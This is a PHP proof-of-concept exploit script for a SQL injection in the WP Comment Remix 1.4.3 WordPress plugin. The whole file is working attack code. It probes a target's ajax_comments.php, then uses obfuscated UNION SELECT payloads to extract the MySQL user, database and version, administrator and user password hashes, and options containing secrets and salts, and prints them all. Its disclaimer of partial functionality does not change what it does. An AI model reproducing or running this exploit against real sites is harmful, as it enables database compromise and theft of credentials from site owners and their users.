* * Advisory: * http://chxsecurity.org/advisories/adv-3-full.txt * * PoC Mirror: * http://chxsecurity.org/proof-of-concepts/wp-comment-remix-143.zip * * Attention: * This is a Proof-of-Concept it was never intended to be fully functional * * Notes: * Uses cURL */ // Script Header function head() { print "\n WP Comment Remix 1.4.3 SQL Injection"; print "\n By g30rg3_x "; print "\n ------------------------------------------------"; print "\n This is a Proof-of-Concept it was never intended to be fully functional\n"; } // Usage Information function usage() { global $argv; head(); print "\n Usage: php {$argv[0]}

\n"; print "\n : Hostname or IP Address"; print "\n : Path to WordPress (Defaults to: /)"; print "\n : Information to Extract (Defaults to: relevant)"; print "\n dbinfo = Extract MySQL Current User, Database and Version"; print "\n admins = Extract Only Admins (users with level 10)"; print "\n users = Extract All Users (includes admins)"; print "\n options = Extract Relevant Options like active_plugins, secret, ..."; print "\n alloptions = Extrac All Options (Huge data would be directly printed out!)"; print "\n relevant = dbinfo + admins + options"; print "\n all = dbinfo + users + alloptions"; print "\n : WordPress Tables Prefix (Defaults to: wp_)\n"; print "\n Examples:"; print "\n php {$argv[0]} foo.bar"; print "\n php {$argv[0]} foo.bar /wordpress/"; print "\n php {$argv[0]} foo.bar /wordpress/ all foo_"; print "\n"; exit(); } // cURL HTTP GET function GET($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Connection: Close')); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, 'WP-Comment-Remix 1.4.3 SQL Injection Proof-of-Concept'); $result = curl_exec($ch); curl_close($ch); if ( preg_match('%HTTP/[0-9.x]+ 200 OK%', $result) ) return $result; else return false; } // Obtain Database Information function obtainDBInfo() { global $prefix, $url; $injection = '/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,CONCAT(0x757365727B,user(),0x7D44427B,database(),0x7D76657273696F6E7B,version(),0x7D),10,11,12,13,14,15--'; $result = GET($url . $injection); preg_match_all('/user\{(?P.+)\}DB\{(?P.+)\}version\{(?P.+)\}/', $result, $captured, PREG_PATTERN_ORDER); $db['user'] = $captured['user'][0]; $db['name'] = $captured['DB'][0]; $db['version'] = $captured['version'][0]; return $db; } // Obtain WordPress Users Information function obtainUsersInfo($all = false) { global $prefix, $url; $injection = "/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,CONCAT(0x757365727B,{$prefix}users.user_login,0x7D706173737B,{$prefix}users.user_pass,0x7D),10,11,12,13,14,15/**/FROM/**/{$prefix}users" . ( $all ? '' : ",{$prefix}usermeta/**/WHERE/**/{$prefix}users.ID={$prefix}usermeta.user_id/**/AND/**/{$prefix}usermeta.meta_key/**/REGEXP/**/0x757365725F6C6576656C/**/AND/**/{$prefix}usermeta.meta_value=10" ) . '--'; $result = GET($url . $injection); preg_match_all('/user\{(?P.+)\}pass\{(?P.+)\}/', $result, $captured, PREG_PATTERN_ORDER); for( $i = 0; $i < count($captured['user']); $i++ ) $users[$captured['user'][$i]] = $captured['pass'][$i]; return $users; } // Obtain WordPress Options Information function obtainOptionsInfo($all = false) { global $prefix, $url; $injection = "/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,CONCAT(option_name,0x7B7C,option_value,0x7C7D),10,11,12,13,14,15/**/FROM/**/{$prefix}options" . ( $all ? '' : '/**/WHERE/**/option_name/**/REGEXP/**/0x7369746575726C7C6C6F67696E7C757365727C706173737C617574687C7365637265747C73616C747C6163746976655F706C7567696E737C73656564' ) . '--'; $result = GET($url . $injection); preg_match_all('%

(?P.+)\{\|(?P.+)\|\}

%', $result, $captured, PREG_PATTERN_ORDER); for( $i = 0; $i < count($captured['name']); $i++ ) $options[$captured['name'][$i]] = $captured['value'][$i]; return $options; } // Set no time limit (only if safe mode is off) if ( !ini_get('safe_mode') ) set_time_limit(0); // Print usage if there is no host if ( !isset($argv[1]) ) usage(); // Header, Arguments and Generate URL head(); $host = $argv[1]; $path = isset($argv[2]) ? $argv[2] : '/'; $info = isset($argv[3]) ? $argv[3] : 'relevant'; $prefix = isset($argv[4]) ? $argv[4] : 'wp_'; $url = 'http://' . $host . $path . 'wp-content/plugins/wp-comment-remix/ajax_comments.php?p=0'; // Check if we can reach "ajax_comments.php" print "\n Does ajax_comments.php exist? ... "; $result = GET($url); if ( !$result ) { print "No"; print "\n -----------------------------------------------------------"; print "\n Seems that the site does not have WP Comment Remix installed"; print "\n OR the path you proportionate is incorrect."; print "\n Please review your arguments and try again.\n"; exit(); } print 'Yes'; // Check if is it possible to inject... // ToDo: Some WordPress installations return more than 15 columns (this is caused by some plugins that alter // the comments table structure and don't revert back this change) so this injection may fail A LOT in a non-default // enviroment (ie. sites with many plugins), so if you REALLY want this PoC to be more "functional" then improve // this part of the PoC; it was never my intention to deliver a "fully functional" Proof-of-Concept. print "\n Can we Inject SQL Code? ... "; $result = GET($url . '/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--'); if ( preg_match('/There are no comments for this post/', $result) ) { print "No"; print "\n --------------------------------------"; print "\n Seems that the host is already patched.\n"; exit(); } print 'Yes'; // Check table prefix but don't check if the user selected to obtain database information. if ( $info != 'dbinfo') { print "\n Is \"{$prefix}\" the table prefix? ... "; $result = GET($url . "/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15/**/FROM/**/{$prefix}users--"); if ( preg_match('/There are no comments for this post/', $result) ) { print "No"; print "\n ------------------------------------------------"; print "\n Seems that the table prefix \"{$prefix}\" is incorrect."; print "\n But this time we are not exiting, cause we can still extract"; print "\n the database information, so m just going to change your choice"; print "\n to dbinfo so you can still get that valuable information."; print "\n ------------------------------------------------\n"; $info = 'dbinfo'; } else { print 'Yes'; } } // Now is time to inject print "\n\n Seems that everything is fine so now it's super fun time :P..."; switch($info) { case 'all': $db = obtainDBInfo(); $users = obtainUsersInfo(true); $options = obtainOptionsInfo(true); break; case 'relevant': $db = obtainDBInfo(); $users = obtainUsersInfo(); $options = obtainOptionsInfo(); break; case 'dbinfo': $db = obtainDBInfo(); break; case 'admins': $users = obtainUsersInfo(); break; case 'users': $users = obtainUsersInfo(true); break; case 'options': $options = obtainOptionsInfo(); break; case 'alloptions': $options = obtainOptionsInfo(true); break; } /* It's Show Time */ // Database Information if ( !empty($db) ) { print "\n\n Database Information"; print "\n ---------------------"; print "\n MySQL User: {$db['user']}"; print "\n MySQL Version: {$db['version']}"; print "\n MySQL Database Name: {$db['name']}"; } // Users Information if ( !empty($users) ) { print "\n\n Users"; print "\n ---------"; foreach( (array) $users as $user => $pass ) { print "\n Username: {$user}"; print "\n Password: {$pass} " . ( strlen($pass) <= 32 ? '(MD5)' : '(Passhash)' ); print "\n ---------"; } } // Options Information if ( !empty($options) ) { print "\n\n Options"; print "\n ---------"; foreach( (array) $options as $name => $value ) { print "\n Name: {$name}"; print "\n Value: {$value}"; print "\n ---------"; } } // Good Bye =) print "\n\n Have Fun! =)\n"; ?>